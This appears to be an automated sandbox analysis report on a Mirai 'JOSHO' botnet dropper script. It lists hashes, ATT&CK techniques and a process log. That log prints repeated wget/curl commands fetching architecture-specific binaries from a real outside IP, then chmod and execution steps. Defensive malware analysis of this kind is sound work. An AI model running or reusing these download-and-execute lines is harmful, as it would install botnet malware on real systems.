mirai | 9dd52ca3bd9dd62a4ad017f93c39e0f6855cb9b9d9b01656e6cd71593619dc2a

Analysis

max time kernel
148s
max time network
150s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240508-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240508-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
03/11/2024, 03:31

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General

Target
9dd52ca3bd9dd62a4ad017f93c39e0f6855cb9b9d9b01656e6cd71593619dc2a.sh
Size 1KB
Sample241103-d3grlstema
SHA256 9dd52ca3bd9dd62a4ad017f93c39e0f6855cb9b9d9b01656e6cd71593619dc2a
MD5 708cae4cf814c3deda4208da228fad4e
SHA1 36718f87b1a7d742a991f06f7ce396f70d457861
SHA512 58584fc22497be264b532dbad3bbf88c0a13a133266c75013fea1d4a2fba025ac4422885afb4cd1caa57380c5ac842ea5a15df3eb77fdae5a34950c25ae94bfd
MD5 SHA1 SHA512

Score

10^/10

mirai josho botnet defense_evasion discovery

Malware Config

Extracted

Family

mirai

Botnet

JOSHO

Signatures

Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Mirai family
mirai

File and Directory Permissions Modification 1 TTPs 10 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1503	chmod
1511	chmod
1527	chmod
1543	chmod
1575	chmod
1519	chmod
1535	chmod
1551	chmod
1559	chmod
1567	chmod

Executes dropped EXE 10 IoCs

ioc	pid	Process
/tmp/3AvA	1504	3AvA
/tmp/3AvA	1512	3AvA
/tmp/3AvA	1520	3AvA
/tmp/3AvA	1528	3AvA
/tmp/3AvA	1536	3AvA
/tmp/3AvA	1544	3AvA
/tmp/3AvA	1552	3AvA
/tmp/3AvA	1560	3AvA
/tmp/3AvA	1568	3AvA
/tmp/3AvA	1576	3AvA

Modifies Watchdog functionality 1 TTPs 20 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/misc/watchdog	3AvA
File opened for modification	/dev/watchdog	3AvA
File opened for modification	/dev/misc/watchdog	3AvA
File opened for modification	/dev/misc/watchdog	3AvA
File opened for modification	/dev/watchdog	3AvA
File opened for modification	/dev/misc/watchdog	3AvA
File opened for modification	/dev/misc/watchdog	3AvA
File opened for modification	/dev/watchdog	3AvA
File opened for modification	/dev/misc/watchdog	3AvA
File opened for modification	/dev/misc/watchdog	3AvA
File opened for modification	/dev/misc/watchdog	3AvA
File opened for modification	/dev/watchdog	3AvA
File opened for modification	/dev/watchdog	3AvA
File opened for modification	/dev/watchdog	3AvA
File opened for modification	/dev/watchdog	3AvA
File opened for modification	/dev/misc/watchdog	3AvA
File opened for modification	/dev/misc/watchdog	3AvA
File opened for modification	/dev/watchdog	3AvA
File opened for modification	/dev/watchdog	3AvA
File opened for modification	/dev/watchdog	3AvA

Changes its process name 10 IoCs

description	pid	Process
Changes the process name, possibly in an attempt to hide itself	1504	3AvA
Changes the process name, possibly in an attempt to hide itself	1512	3AvA
Changes the process name, possibly in an attempt to hide itself	1520	3AvA
Changes the process name, possibly in an attempt to hide itself	1528	3AvA
Changes the process name, possibly in an attempt to hide itself	1536	3AvA
Changes the process name, possibly in an attempt to hide itself	1544	3AvA
Changes the process name, possibly in an attempt to hide itself	1552	3AvA
Changes the process name, possibly in an attempt to hide itself	1560	3AvA
Changes the process name, possibly in an attempt to hide itself	1568	3AvA
Changes the process name, possibly in an attempt to hide itself	1576	3AvA

System Network Configuration Discovery 1 TTPs 2 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1507	wget
1509	curl

Writes file to tmp directory 20 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/Josho.arm7	wget
File opened for modification	/tmp/Josho.ppc	curl
File opened for modification	/tmp/Josho.m68k	wget
File opened for modification	/tmp/Josho.mpsl	wget
File opened for modification	/tmp/Josho.mpsl	curl
File opened for modification	/tmp/Josho.arm4	curl
File opened for modification	/tmp/Josho.arm5	curl
File opened for modification	/tmp/Josho.arm6	curl
File opened for modification	/tmp/Josho.sh4	wget
File opened for modification	/tmp/Josho.m68k	curl
File opened for modification	/tmp/Josho.x86	curl
File opened for modification	/tmp/Josho.mips	wget
File opened for modification	/tmp/Josho.arm5	wget
File opened for modification	/tmp/Josho.arm7	curl
File opened for modification	/tmp/Josho.ppc	wget
File opened for modification	/tmp/Josho.mips	curl
File opened for modification	/tmp/Josho.sh4	curl
File opened for modification	/tmp/Josho.x86	wget
File opened for modification	/tmp/3AvA	9dd52ca3bd9dd62a4ad017f93c39e0f6855cb9b9d9b01656e6cd71593619dc2a.sh
File opened for modification	/tmp/Josho.arm6	wget

/tmp/9dd52ca3bd9dd62a4ad017f93c39e0f6855cb9b9d9b01656e6cd71593619dc2a.sh
/tmp/9dd52ca3bd9dd62a4ad017f93c39e0f6855cb9b9d9b01656e6cd71593619dc2a.sh
1⤵
- Writes file to tmp directory
PID:1496
- /usr/bin/wget
  wget http://95.164.4.65/AB4g5/Josho.x86
  2⤵
  - Writes file to tmp directory
  PID:1497
- /usr/bin/curl
  curl -O http://95.164.4.65/AB4g5/Josho.x86
  2⤵
  - Writes file to tmp directory
  PID:1501
- /bin/cat
  cat Josho.x86
  2⤵
  PID:1502
- /bin/chmod
  chmod +x 3AvA 9dd52ca3bd9dd62a4ad017f93c39e0f6855cb9b9d9b01656e6cd71593619dc2a.sh config-err-BdnwVs Josho.x86 netplan_2az14oqi snap-private-tmp ssh-D1rTb6cjtsFl systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-bolt.service-PTk5HI systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-colord.service-HPFOGT systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-ModemManager.service-Fv6Ji2 systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-systemd-resolved.service-tZ2Gue systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-systemd-timedated.service-rhbFvA
  2⤵
  - File and Directory Permissions Modification
  PID:1503
- /tmp/3AvA
  ./3AvA ssh
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Changes its process name
  PID:1504
- /usr/bin/wget
  wget http://95.164.4.65/AB4g5/Josho.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1507
- /usr/bin/curl
  curl -O http://95.164.4.65/AB4g5/Josho.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1509
- /bin/chmod
  chmod +x 3AvA 9dd52ca3bd9dd62a4ad017f93c39e0f6855cb9b9d9b01656e6cd71593619dc2a.sh config-err-BdnwVs Josho.mips Josho.x86 netplan_2az14oqi snap-private-tmp ssh-D1rTb6cjtsFl systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-bolt.service-PTk5HI systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-colord.service-HPFOGT systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-ModemManager.service-Fv6Ji2 systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-systemd-resolved.service-tZ2Gue systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-systemd-timedated.service-rhbFvA
  2⤵
  - File and Directory Permissions Modification
  PID:1511
- /tmp/3AvA
  ./3AvA ssh
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Changes its process name
  PID:1512
- /usr/bin/wget
  wget http://95.164.4.65/AB4g5/Josho.mpsl
  2⤵
  - Writes file to tmp directory
  PID:1515
- /usr/bin/curl
  curl -O http://95.164.4.65/AB4g5/Josho.mpsl
  2⤵
  - Writes file to tmp directory
  PID:1517
- /bin/chmod
  chmod +x 3AvA 9dd52ca3bd9dd62a4ad017f93c39e0f6855cb9b9d9b01656e6cd71593619dc2a.sh config-err-BdnwVs Josho.mips Josho.mpsl Josho.x86 netplan_2az14oqi snap-private-tmp ssh-D1rTb6cjtsFl systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-bolt.service-PTk5HI systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-colord.service-HPFOGT systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-ModemManager.service-Fv6Ji2 systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-systemd-resolved.service-tZ2Gue systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-systemd-timedated.service-rhbFvA
  2⤵
  - File and Directory Permissions Modification
  PID:1519
- /tmp/3AvA
  ./3AvA ssh
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Changes its process name
  PID:1520
- /usr/bin/wget
  wget http://95.164.4.65/AB4g5/Josho.arm4
  2⤵
  PID:1523
- /usr/bin/curl
  curl -O http://95.164.4.65/AB4g5/Josho.arm4
  2⤵
  - Writes file to tmp directory
  PID:1525
- /bin/chmod
  chmod +x 3AvA 9dd52ca3bd9dd62a4ad017f93c39e0f6855cb9b9d9b01656e6cd71593619dc2a.sh config-err-BdnwVs Josho.arm4 Josho.mips Josho.mpsl Josho.x86 netplan_2az14oqi snap-private-tmp ssh-D1rTb6cjtsFl systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-bolt.service-PTk5HI systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-colord.service-HPFOGT systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-ModemManager.service-Fv6Ji2 systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-systemd-resolved.service-tZ2Gue systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-systemd-timedated.service-rhbFvA
  2⤵
  - File and Directory Permissions Modification
  PID:1527
- /tmp/3AvA
  ./3AvA ssh
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Changes its process name
  PID:1528
- /usr/bin/wget
  wget http://95.164.4.65/AB4g5/Josho.arm5
  2⤵
  - Writes file to tmp directory
  PID:1531
- /usr/bin/curl
  curl -O http://95.164.4.65/AB4g5/Josho.arm5
  2⤵
  - Writes file to tmp directory
  PID:1533
- /bin/chmod
  chmod +x 3AvA 9dd52ca3bd9dd62a4ad017f93c39e0f6855cb9b9d9b01656e6cd71593619dc2a.sh config-err-BdnwVs Josho.arm4 Josho.arm5 Josho.mips Josho.mpsl Josho.x86 netplan_2az14oqi snap-private-tmp ssh-D1rTb6cjtsFl systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-bolt.service-PTk5HI systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-colord.service-HPFOGT systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-ModemManager.service-Fv6Ji2 systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-systemd-resolved.service-tZ2Gue systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-systemd-timedated.service-rhbFvA
  2⤵
  - File and Directory Permissions Modification
  PID:1535
- /tmp/3AvA
  ./3AvA ssh
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Changes its process name
  PID:1536
- /usr/bin/wget
  wget http://95.164.4.65/AB4g5/Josho.arm6
  2⤵
  - Writes file to tmp directory
  PID:1539
- /usr/bin/curl
  curl -O http://95.164.4.65/AB4g5/Josho.arm6
  2⤵
  - Writes file to tmp directory
  PID:1541
- /bin/chmod
  chmod +x 3AvA 9dd52ca3bd9dd62a4ad017f93c39e0f6855cb9b9d9b01656e6cd71593619dc2a.sh config-err-BdnwVs Josho.arm4 Josho.arm5 Josho.arm6 Josho.mips Josho.mpsl Josho.x86 netplan_2az14oqi snap-private-tmp ssh-D1rTb6cjtsFl systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-bolt.service-PTk5HI systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-colord.service-HPFOGT systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-ModemManager.service-Fv6Ji2 systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-systemd-resolved.service-tZ2Gue systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-systemd-timedated.service-rhbFvA
  2⤵
  - File and Directory Permissions Modification
  PID:1543
- /tmp/3AvA
  ./3AvA ssh
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Changes its process name
  PID:1544
- /usr/bin/wget
  wget http://95.164.4.65/AB4g5/Josho.arm7
  2⤵
  - Writes file to tmp directory
  PID:1547
- /usr/bin/curl
  curl -O http://95.164.4.65/AB4g5/Josho.arm7
  2⤵
  - Writes file to tmp directory
  PID:1549
- /bin/chmod
  chmod +x 3AvA 9dd52ca3bd9dd62a4ad017f93c39e0f6855cb9b9d9b01656e6cd71593619dc2a.sh config-err-BdnwVs Josho.arm4 Josho.arm5 Josho.arm6 Josho.arm7 Josho.mips Josho.mpsl Josho.x86 netplan_2az14oqi snap-private-tmp ssh-D1rTb6cjtsFl systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-bolt.service-PTk5HI systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-colord.service-HPFOGT systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-ModemManager.service-Fv6Ji2 systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-systemd-resolved.service-tZ2Gue systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-systemd-timedated.service-rhbFvA
  2⤵
  - File and Directory Permissions Modification
  PID:1551
- /tmp/3AvA
  ./3AvA ssh
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Changes its process name
  PID:1552
- /usr/bin/wget
  wget http://95.164.4.65/AB4g5/Josho.ppc
  2⤵
  - Writes file to tmp directory
  PID:1555
- /usr/bin/curl
  curl -O http://95.164.4.65/AB4g5/Josho.ppc
  2⤵
  - Writes file to tmp directory
  PID:1557
- /bin/chmod
  chmod +x 3AvA 9dd52ca3bd9dd62a4ad017f93c39e0f6855cb9b9d9b01656e6cd71593619dc2a.sh config-err-BdnwVs Josho.arm4 Josho.arm5 Josho.arm6 Josho.arm7 Josho.mips Josho.mpsl Josho.ppc Josho.x86 netplan_2az14oqi snap-private-tmp ssh-D1rTb6cjtsFl systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-bolt.service-PTk5HI systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-colord.service-HPFOGT systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-ModemManager.service-Fv6Ji2 systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-systemd-resolved.service-tZ2Gue systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-systemd-timedated.service-rhbFvA
  2⤵
  - File and Directory Permissions Modification
  PID:1559
- /tmp/3AvA
  ./3AvA ssh
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Changes its process name
  PID:1560
- /usr/bin/wget
  wget http://95.164.4.65/AB4g5/Josho.m68k
  2⤵
  - Writes file to tmp directory
  PID:1563
- /usr/bin/curl
  curl -O http://95.164.4.65/AB4g5/Josho.m68k
  2⤵
  - Writes file to tmp directory
  PID:1565
- /bin/chmod
  chmod +x 3AvA 9dd52ca3bd9dd62a4ad017f93c39e0f6855cb9b9d9b01656e6cd71593619dc2a.sh config-err-BdnwVs Josho.arm4 Josho.arm5 Josho.arm6 Josho.arm7 Josho.m68k Josho.mips Josho.mpsl Josho.ppc Josho.x86 netplan_2az14oqi snap-private-tmp ssh-D1rTb6cjtsFl systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-bolt.service-PTk5HI systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-colord.service-HPFOGT systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-ModemManager.service-Fv6Ji2 systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-systemd-resolved.service-tZ2Gue systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-systemd-timedated.service-rhbFvA
  2⤵
  - File and Directory Permissions Modification
  PID:1567
- /tmp/3AvA
  ./3AvA ssh
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Changes its process name
  PID:1568
- /usr/bin/wget
  wget http://95.164.4.65/AB4g5/Josho.sh4
  2⤵
  - Writes file to tmp directory
  PID:1571
- /usr/bin/curl
  curl -O http://95.164.4.65/AB4g5/Josho.sh4
  2⤵
  - Writes file to tmp directory
  PID:1573
- /bin/chmod
  chmod +x 3AvA 9dd52ca3bd9dd62a4ad017f93c39e0f6855cb9b9d9b01656e6cd71593619dc2a.sh config-err-BdnwVs Josho.arm4 Josho.arm5 Josho.arm6 Josho.arm7 Josho.m68k Josho.mips Josho.mpsl Josho.ppc Josho.sh4 Josho.x86 netplan_2az14oqi snap-private-tmp ssh-D1rTb6cjtsFl systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-bolt.service-PTk5HI systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-colord.service-HPFOGT systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-ModemManager.service-Fv6Ji2 systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-systemd-resolved.service-tZ2Gue systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-systemd-timedated.service-rhbFvA
  2⤵
  - File and Directory Permissions Modification
  PID:1575
- /tmp/3AvA
  ./3AvA ssh
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Changes its process name
  PID:1576

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

Josho.x86

Path /tmp/Josho.x86
Size 47KB
SHA256 4308ed406a8de64eb3ca4e6accc27d10794e960a4631590cab569cf734f3d3e9
MD5 53677bdb064aafe349e4abc36aa7fe75
SHA1 f15ef44055153f9dcb254fb9254f518a366fcaa8
SHA512 45517017c721ced8bf8d956b456eae21f985bfeaff31902c3ac29e368b3a0d437b834fb443a70689a2ef205fc8c1b69974708c169ca9ff7d793a33027fb29dd1
SSDEEP 768:123dsPuGMj1Kh6t6JXCKuaatRrvvEofkig7JmW3yOjEe87zkxF:YdsPuNj1Kh6tsSKuaatRrvvEof67JL3l
MD5 SHA1 SHA512 SSDEEP

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